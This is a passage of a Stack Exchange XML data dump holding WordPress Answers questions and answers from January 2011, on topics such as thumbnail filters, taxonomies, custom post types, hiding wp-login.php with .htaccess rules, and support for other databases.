  <row Id="6387" PostTypeId="2" ParentId="5568" CreationDate="2011-01-05T18:57:00.623" Score="0" ViewCount="" Body="&lt;p&gt;Modified this script a bit. Thanks for the help!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_thumbnail_html', 'remove_thumbnail_dimensions', 10 );&#xA;add_filter( 'image_send_to_editor', 'remove_thumbnail_dimensions', 10 );&#xA;// Genesis framework only&#xA;add_filter( 'genesis_get_image', 'remove_thumbnail_dimensions', 10 );&#xA;// Removes attached image sizes as well&#xA;add_filter( 'the_content', 'remove_thumbnail_dimensions', 10 );&#xA;function remove_thumbnail_dimensions( $html ) {&#xA;    $html = preg_replace( '/(width|height)=\&quot;\d*\&quot;\s/', &quot;&quot;, $html );&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1670" LastEditorUserId="1670" LastEditorDisplayName="" LastEditDate="2011-01-05T19:04:55.283" LastActivityDate="2011-01-05T19:04:55.283" CommentCount="1" />
  <row Id="6388" PostTypeId="1" CreationDate="2011-01-05T19:05:47.137" Score="0" ViewCount="125" Body="&lt;p&gt;&lt;a href=&quot;http://answers.onstartups.com/questions/8782/blog-woes-i-dont-host-it-and-its-subdomained-but-should-i-host-it-and-be-subf&quot;&gt;This question&lt;/a&gt; was posted at &lt;a href=&quot;http://answers.onstartups.com&quot;&gt;onstartups&lt;/a&gt; - one that I frequently hear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figure that I would ask the experts over here - can one maintain a hosted wordpress.com blog yet make it a subdirectory under their domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From: &lt;a href=&quot;http://blog.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.domain.com&lt;/a&gt; to &lt;a href=&quot;http://domain.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF so, what step(s) / .htaccess changes are necessary to make it happen? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{Edit to clarify some points}&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;  &lt;li&gt; user currently has a wordpress.com blog   ( http://username.wordpress.com )&lt;/li&gt;&#xA;  &lt;li&gt; user currently has a domain / site        (http://domain.com)&lt;/li&gt;&#xA;  &lt;li&gt; user likes wordpress.com hosting and doesn't want to install a local version of wordpress on domain.com.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;User is willing to pay wordpress.com for custom url, but doesn't want &lt;a href=&quot;http://blog.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.domain.com&lt;/a&gt; - (s)he wants blog to be a directory &lt;a href=&quot;http://domain.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/blog&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2326" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:36:47.047" LastActivityDate="2011-02-16T08:36:47.047" Title="hosted wordpress.com to local directory?" Tags="&lt;wordpress.com&gt;&lt;htaccess&gt;" AnswerCount="2" />
  <row Id="6389" PostTypeId="1" AcceptedAnswerId="6547" CreationDate="2011-01-05T19:12:04.913" Score="0" ViewCount="1148" Body="&lt;p&gt;I've got some pages with a custom taxonomy for each page and i'm trying to retrieve this taxonomy on the page. I'd basically need something like &lt;code&gt;the_current_taxonomy()&lt;/code&gt; like &lt;code&gt;the_title()&lt;/code&gt;. This has to run outside the loop cos i'll use it in a custom &lt;code&gt;WP_Query&lt;/code&gt; right after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Found a solution using a different way to retrieve the information i needed. Thanks for your help guys.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastEditorUserId="1997" LastEditorDisplayName="" LastEditDate="2011-01-07T19:34:05.287" LastActivityDate="2011-01-07T19:34:05.287" Title="Get current page's taxonomy" Tags="&lt;custom-taxonomy&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="6390" PostTypeId="2" ParentId="6375" CreationDate="2011-01-05T19:18:15.900" Score="2" ViewCount="" Body="&lt;p&gt;Simply naming the size in the functions file is not enough to get the sizes to work:&#xA;To call a custom size that you added do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail('category'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see you &lt;code&gt;set_post_thumbnail_size(200, 200, true)&lt;/code&gt; which you don't need to do if you're also naming a post thumnail size the same sizes for homepage. Perhaps this line is messing up your other sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the_post_thumbnail &lt;strong&gt;doesn't&lt;/strong&gt; usually work on images already uploaded. To test if the sizes truly aren't working upload a new file after adding the new thumbnail size/calling it in your theme file.&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-01-05T19:18:15.900" CommentCount="1" />
  <row Id="6391" PostTypeId="2" ParentId="6381" CreationDate="2011-01-05T19:25:57.220" Score="0" ViewCount="" Body="&lt;p&gt;I think that in the example you gave, the term that you put in the $filters array has to be lower case since it is a slug.  So 'Location' has to be 'location' or whatever the slug is for that taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-01-05T19:25:57.220" CommentCount="1" />
  <row Id="6392" PostTypeId="2" ParentId="6388" CreationDate="2011-01-05T20:20:45.263" Score="0" ViewCount="" Body="&lt;p&gt;So you are currently setup using, blog.domain.com&#xA;Then you want to change to wordpress and use their hosting and be setup on domain.com/blog/ ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They dont have that option by default for the premium DNS feature. You would need to email wordpress.com support to see if they have that option. Its definetly not listed on their features section: &lt;a href=&quot;http://en.wordpress.com/products/&quot; rel=&quot;nofollow&quot;&gt;http://en.wordpress.com/products/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2331" LastActivityDate="2011-01-05T20:20:45.263" CommentCount="1" />
  <row Id="6393" PostTypeId="2" ParentId="6389" CreationDate="2011-01-05T21:01:49.033" Score="3" ViewCount="" Body="&lt;p&gt;I assume &lt;code&gt;taxonomy&lt;/code&gt; is the same and what you need are &lt;code&gt;terms&lt;/code&gt; in that taxonomy, assigned to the post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low level function for this is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_object_terms()&lt;/code&gt;&lt;/a&gt;. It does need object's ID so if you are resetting post data then you will need to store that from earlier or dig out of original query (&lt;code&gt;$wp_query-&amp;gt;get_queried_object_id()&lt;/code&gt; as far as I remember).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-05T21:01:49.033" CommentCount="10" />
  <row Id="6394" PostTypeId="2" ParentId="5955" CreationDate="2011-01-05T21:07:20.107" Score="0" ViewCount="" Body="&lt;p&gt;Here was my first attempt...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'cb_category_listing' );&#xA;&#xA;function cb_category_listing( $content )&#xA;{&#xA;    if ( is_home() ) {&#xA;        $cat_args['title_li'] = '';&#xA;        $cat_args['exclude_tree'] = 1;&#xA;        $cat_args['exclude'] = 1;&#xA;        $myContent = wp_list_categories(apply_filters('widget_categories_args', $cat_args)); &#xA;        $content .= $myContent;&#xA;    }&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, this simply creates a listing of category names with a link to each category. So it gets me started. However, I still need...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A means to associate a category thumbnail image with each category, and show it on the category listing in my code above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A means to include a custom category title, apart from the category name, and show it on the category listing (in place of the &quot;Category Name&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A means to show/hide each category from the listing. Ideally, with a checkbox &quot;Show on homepage listing&quot; that can be edited on the category's edit screen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's my updated code. Getting there, but still haven't tackled the thumbnail image or adding the custom fields (thumbnail image, custom title, show/hide) to the category editor admin...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _add_my_filter() {&#xA;    if ( is_home() OR is_sticky() )&#xA;    {&#xA;    add_filter( 'the_content', 'my_function' );&#xA;    }&#xA;}&#xA;add_action('template_redirect', '_add_my_filter');&#xA;&#xA;function my_function(){&#xA;    $args=array(&#xA;    'orderby' =&amp;gt; 'name',&#xA;    'order' =&amp;gt; 'ASC'&#xA;    );&#xA;    $categories=get_categories($args);&#xA;    echo '&amp;lt;ul style=&quot;list-style-type:none;margin:0;padding:0&quot;&amp;gt;';&#xA;    foreach($categories as $category) { &#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a style=&quot;display:block;margin-top:20px;&quot; href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;';&#xA;        echo $category-&amp;gt;description . '&amp;lt;/li&amp;gt;';&#xA;        } &#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-06T14:28:24.443" LastActivityDate="2011-01-06T14:28:24.443" />
  <row Id="6395" PostTypeId="2" ParentId="6388" CreationDate="2011-01-05T21:21:05.053" Score="2" ViewCount="" Body="&lt;p&gt;I've come across this request before as well (through not specificaly for wordpress.com hosted sites)--I typically tell clients that it's not advisable as it adds a layer of server complexity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is possible--in general--to provide content in a subdir from a separate server. Basically, you install &lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_proxy.html&quot; rel=&quot;nofollow&quot;&gt;mod_proxy on Apache and set up a &quot;reverse proxy&quot;&lt;/a&gt;--all requests come to the proxy, and it decides which server to send the request to based on a set of rules you configure. But it's not a redirect...the response comes through the proxy. I've never done it (it requires way more server admin skills than I posses), but if you're adventurous, knock yourself out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, with a wordpress.com blog, I don't &lt;em&gt;think&lt;/em&gt; you're able to change the domain for your blog to a separate domain with a subdir. So once you hit the blog's homepage, any subsequent clicks would take you to the wordpress.com domain. Which seems not worth the hassle of setting it all up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the simplest option is to use a subdomain rather than a subdir.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-05T21:21:05.053" />
  <row Id="6399" PostTypeId="1" AcceptedAnswerId="8856" CreationDate="2011-01-05T23:34:49.340" Score="2" ViewCount="108" Body="&lt;p&gt;Curious to know if there is a handy solution for showing cool email stats like Ma.tt's contact page &lt;a href=&quot;http://ma.tt/contact/&quot; rel=&quot;nofollow&quot;&gt;http://ma.tt/contact/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Inbox: 157. Low priority: 1,461.&#xA;  Unknown: 155. I’ve sent out 920 emails&#xA;  to 357 people in the past month.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-28T20:44:01.897" Title="Email stats at Ma.tt contact form" Tags="&lt;email&gt;&lt;stats&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="6400" PostTypeId="1" CreationDate="2011-01-06T00:31:56.240" Score="2" ViewCount="296" Body="&lt;p&gt;Howdy, WordPress Answers Community!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my situation. I want to use a modified version of the Wordpress Press-This bookmarklet to pass the current page URL to a custom field on my post. In this case, lets say my custom field is linked_list_url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing there are four pieces to this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a custom input field to the page generated by the bookmarklet&lt;/li&gt;&#xA;&lt;li&gt;Grab the URL of the page the bookmarklet was used on and store it&lt;/li&gt;&#xA;&lt;li&gt;Pass the stored URL to the custom input field &lt;/li&gt;&#xA;&lt;li&gt;Pass the contents of the custom input field to wordpress, setting it as the key for the custom field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've modified the bookmarklet to have a custom input field and it's pulling the URL off of the page and passing it to the input box, but when I submit the bookmarklet, nothing is passed to Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my press-this custom bookmarklet: &lt;a href=&quot;http://pastebin.com/UjNkpNrE&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/UjNkpNrE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Specifically: Once I have the URL passed to the custom input field in the bookmarklet, how should I go about having the contents of that field passed to wordpress into the custom field linked_list_url??&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2340" LastActivityDate="2011-08-29T20:36:33.020" Title="Passing page url into a custom field via the Press-This bookmarklet" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="6401" PostTypeId="2" ParentId="6356" CreationDate="2011-01-06T01:01:21.760" Score="1" ViewCount="" Body="&lt;p&gt;Can't really see why should be seen as spam. All depends on you and how you are using it.&#xA;It's like all car drivers will be seen as suiciders because one hitted a tree in purpose :)&lt;/p&gt;&#xA;" OwnerUserId="2292" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-06T10:41:23.100" LastActivityDate="2011-01-06T10:41:23.100" />
  <row Id="6402" PostTypeId="1" AcceptedAnswerId="6415" CreationDate="2011-01-06T01:46:18.543" Score="0" ViewCount="1320" Body="&lt;p&gt;Any way to change the wp-login.php url?  It seems insecure that everyone that's ever used Wordpress could easily see if your site is using it, and get right to the login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There used to be a plugin called &quot;Stealth login,&quot; but it wasn't updated. (And hence our reluctance to rely on plugins).&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2011-08-09T06:31:37.800" Title="Is there any way to rename or hide wp-login.php?" Tags="&lt;3.0&gt;&lt;security&gt;&lt;login&gt;" AnswerCount="4" />
  <row Id="6403" PostTypeId="2" ParentId="6402" CreationDate="2011-01-06T02:46:36.873" Score="0" ViewCount="" Body="&lt;p&gt;Well...you must also hide /wp-admin/, right?&lt;/p&gt;&#xA;" OwnerUserId="2292" LastActivityDate="2011-01-06T02:46:36.873" />
  <row Id="6404" PostTypeId="1" AcceptedAnswerId="6606" CreationDate="2011-01-06T03:45:50.933" Score="0" ViewCount="215" Body="&lt;p&gt;I am developing a website for a record label and the basically it uses quite a few custom post types for various pieces of information. My problem is that I feel the same bits of information are being repeated, rather than shared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an artists custom post type, however on the homepage there is a carousel with artists as well but different pieces of information to display. So I have a &quot;homepage carousel&quot; custom post type of which I have to enter the artist names and info, as well as an image and also an &quot;artists&quot; custom post type with some of the same information entered again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is probably not going to like having to enter the same information into multiple custom post types all of the time, is it possible to make a post type inherit from another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can tell my &quot;homepage carousel&quot; post type to inherit from an artists post type so the artist information is shared and doesn't have to be re-entered again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present I have created a custom taxonomy called artists and entered in all possible artist names and then for example in the &quot;homepage carousel&quot; post type I select the artist in the right hand side as being the category. This works well in a way, however you still need to enter a title or you get some &quot;Autosave&quot; nonsense being saved as the title which will make editing and sorting difficult down the track. Is there perhaps a way to set the title as the category &quot;artist&quot; that has been selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you don't quite understand and I'll try and elaborate a bit more. I basically want to share a centralised list of artists and information of which I can inherit from in other post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Update *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit more elaboration on my original question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my defined post types and the information that they hold. What I want to do is set up a shared relationship between my &quot;artists&quot; post type and other post types that relate to the artist in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post type&lt;/strong&gt;: artists&lt;br&gt;&#xA;&lt;strong&gt;Fields&lt;/strong&gt;: Title, Wysiwyg Editor, Featured Image, Facebook URL, Twitter Username, Website URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post type&lt;/strong&gt;: homepage_carousel&lt;br&gt;&#xA;&lt;strong&gt;Fields&lt;/strong&gt;: Title, Learn More Link, Buy CD Link, Buy MP3 Link&#xA;A carousel item corresponds to an artist defined in the artists post type above. So the ability to relate this post type to the artists post type is what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post type&lt;/strong&gt;: videos&lt;br&gt;&#xA;&lt;strong&gt;Fields&lt;/strong&gt;: Title, Video Embed Code (455px), Video Embed Code (466px), Video Embed Code (608px), Video description.&#xA;A video item corresponds to an artist defined in the artists post type. I want to be able to assign a video to an artist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see I want to basically set up a many-to-one relationship or is it one-to-many relationship? One of those (I think). I've started messing with this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt; - but I don't quite understand how to properly use it yet, I think it's something that I want. So if someone has used this before, your help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst I am aware of custom taxonomies and terms, I think that what I am wanting goes way beyond the requirements I am seeking as I am dealing with multiple pieces of information and merely want to tie 2 post types together some how.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-01-06T12:37:39.113" LastActivityDate="2011-01-09T04:49:45.467" Title="Is It Possible To Have Shared Wordpress Custom Post Types?" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;post-type&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="6405" PostTypeId="2" ParentId="4914" CreationDate="2011-01-06T04:39:54.750" Score="1" ViewCount="" Body="&lt;p&gt;You can try the &lt;a href=&quot;http://wp.digitalnature.eu/atomtest/files/2010/06/11.jpg&quot; rel=&quot;nofollow&quot;&gt;tabbed widgets&lt;/a&gt; from my &lt;a href=&quot;http://digitalnature.ro/projects/atom-test/&quot; rel=&quot;nofollow&quot;&gt;Atom&lt;/a&gt; framework. I hope this is not considered advertising :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently integrated in the theme, but you could easily extract the code that handles tabs. The difference between this and the ones you listed there is the flexibility. You can create tabs from any widget...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-06T04:51:58.027" LastActivityDate="2011-01-06T04:51:58.027" />
  <row Id="6406" PostTypeId="1" AcceptedAnswerId="6430" CreationDate="2011-01-06T05:01:31.133" Score="0" ViewCount="347" Body="&lt;p&gt;I have a few custom post types set up. However, a couple of them have the title field removed from the edit screen because a title does not make sense in some aspects. However, I now find that all posts are being saved improperly with the text &quot;Autosaved Post&quot; or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set the post title upon saving the post to be the assigned category name? The reason I want this is because I am building a record label website with the following custom post types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Artists&lt;/li&gt;&#xA;&lt;li&gt;Homepage Carousel&lt;/li&gt;&#xA;&lt;li&gt;Videos&lt;/li&gt;&#xA;&lt;li&gt;Tours&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The homepage carousel does not need a title and I would like it to perhaps be the following format: &quot;Bandname Carousel&quot; bandname being the category name of which would only be band names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I add the title field back in and use jQuery to perhaps set the title instead of writing a custom Wordpress plugin and set the field to read only so the user can't make changes to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I want to set the title is to stop the annoying &quot;Autosaved Post&quot; value being added to the title hence preventing the user from being able to sort through and differentiate between posts that have been added.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-06T13:36:00.787" Title="Dynamically Set Wordpress Post Title To The Category Name" Tags="&lt;admin&gt;&lt;post-type&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="6408" PostTypeId="2" ParentId="6356" CreationDate="2011-01-06T05:50:36.600" Score="1" ViewCount="" Body="&lt;p&gt;If you are using WP Robot to create some spammy blog that merely aggregates junk content from other peoples blogs then I would see it as being misused by whoever set up the blog, in this case it would be you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all content aggregation / auto posting plugins are used for spam. I've used a couple before to aggregate content from credible websites for a watch website I created a long time ago to make some AdSense cash, it was successful because nobody saw it as a spam blog, but a useful one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bad mechanic always blames his tools, not himself. I guess the same metaphor applies to this and all situations that use such plugins.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-06T05:50:36.600" />
  <row Id="6409" PostTypeId="2" ParentId="6389" CreationDate="2011-01-06T06:43:32.457" Score="3" ViewCount="" Body="&lt;p&gt;Like Rarst, I am confused what you want to output, the taxonomy or the terms of that taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomy can be output for example if you make a template file with the name of that taxonomy: taxonomy-name.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the title of the taxonomy then becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&amp;lt;&amp;lt;?php $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) ); echo $term-&amp;gt;name; ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The terms within a taxonomy can be output with a tagcloud, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_tag_cloud&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_tag_cloud&lt;/a&gt; (but that is within the loop)&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-01-06T06:43:32.457" CommentCount="2" />
  <row Id="6410" PostTypeId="1" AcceptedAnswerId="6412" CreationDate="2011-01-06T07:18:17.577" Score="1" ViewCount="260" Body="&lt;p&gt;I've long wished Wordpress would support SQL Server, but it would also really amazing if it supported MongoDB (for example.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is &lt;em&gt;are there any plans to do so, at all?&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the core Wordpress team so commited to MySQL that there are no plans to offer any sort of support for other DBs (at least anytime soon?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post leads me to believe any such thing won't happen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Using_Alternative_Databases&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Alternative_Databases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as an example (while I much prefer Wordpress to it) Drupal 7 now features a ...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Database abstraction layer, enabling&#xA;  the use of many databases, such as&#xA;  Maria DB, Microsoft SQL Server,&#xA;  MongoDB, Oracle, MySQL, PostgreSQL, or&#xA;  SQLite&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://drupal.org/node/1015646&quot; rel=&quot;nofollow&quot;&gt;http://drupal.org/node/1015646&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1312" LastActivityDate="2011-01-21T08:10:48.177" Title="Are There Any Plans for Wordpress to Support Databases Other Than MySQL?" Tags="&lt;database&gt;" AnswerCount="2" />
  <row Id="6411" PostTypeId="2" ParentId="6402" CreationDate="2011-01-06T08:19:42.543" Score="3" ViewCount="" Body="&lt;p&gt;I ran into the same problem recently, and you're right that the Stealth plugin is no longer supported. However, because I finally realized that the Stealth plugin was the best option, I did a clean install of WordPress to the last version of WordPress that the Stealth plugin supported to figure out how the plugin works. Turns out, the only thing that the plugin is doing is creating a .htaccess file with some magic. The .htaccess file will look a little something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^logout wp-login.php?action=logout&amp;amp;_wpnonce=asdfasdf&amp;amp;stealth_out_key=asdfasdfasdfasdf [L]&#xA;RewriteRule ^login wp-login.php?stealth_in_key=asdfasdfasdf&amp;amp;redirect_to=http://example.com/login [R,L]&#xA;RewriteRule ^admin wp-admin/?stealth_admin_key=asdfasdfasdfasdf [R,L]&#xA;RewriteCond %{HTTP_REFERER} !^http://example.com/wp-admin&#xA;RewriteCond %{HTTP_REFERER} !^http://example.com/wp-login\.php&#xA;RewriteCond %{HTTP_REFERER} !^http://example.com/login&#xA;RewriteCond %{HTTP_REFERER} !^http://example.com/admin&#xA;RewriteCond %{QUERY_STRING} !^stealth_in_key=asdfasdfasdfasdf&#xA;RewriteCond %{QUERY_STRING} !^stealth_out_key=asdfasdfasdfasdfasd&#xA;RewriteCond %{QUERY_STRING} !^stealth_reg_key=asdfasdfasdfasdfasdf&#xA;RewriteCond %{QUERY_STRING} !^stealth_admin_key=asdfasdfasdfasdfasdf&#xA;RewriteRule ^wp-login\.php http://example.com [R,L]&#xA;RewriteCond %{QUERY_STRING} ^loggedout=true&#xA;RewriteRule ^wp-login\.php http://example.com [R,L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have changed all of the keys to some variation of &quot;asdfasdfasdf&quot; -- obviously you would need to create some secret keys for yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2347" LastActivityDate="2011-01-06T08:19:42.543" CommentCount="1" />
  <row Id="6412" PostTypeId="2" ParentId="6410" CreationDate="2011-01-06T08:44:59.970" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Justin Jenkins:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very hard for use to say if WordPress will or will not support it since they can make those decisions and we cannot. However we can look at some evidence. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;SQL Server?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For SQL Server on one hand a trac ticket was debated and stalled a year ago; since then more recently it appears that Automattic and Microsoft are exploring business relationships:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/10918&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Trac - Ticket Resting Microsoft SQL Server Support&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dailyfinance.com/story/microsoft-wordpress-cloud-automattic-blogs-azure/19243997/?icid=sphere_copyright&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Microsoft brings WordPress onto its cloud: Automattic blogs will go Azure&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dailyfinance.com/story/company-news/microsofts-blogging-platform-deal-with-wordpress-looks-like-a-w/19651455/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Microsoft's Blogging Platform Deal with WordPress Looks Like a Win-Win&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Mongo DB?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For Mongo DB there was a support question proposing it but no official acknowledgement and no real traction:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/suggestion-support-mongodb-hypertable-or-other-nosql-storage&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Support - Suggestion: support MongoDB, HyperTable or other noSQL storage&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Forecast?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So, SQL Server looks more likely than MongoDB, at least from Automattic in the near term but that's only a guess and not one I'd actually bet on. 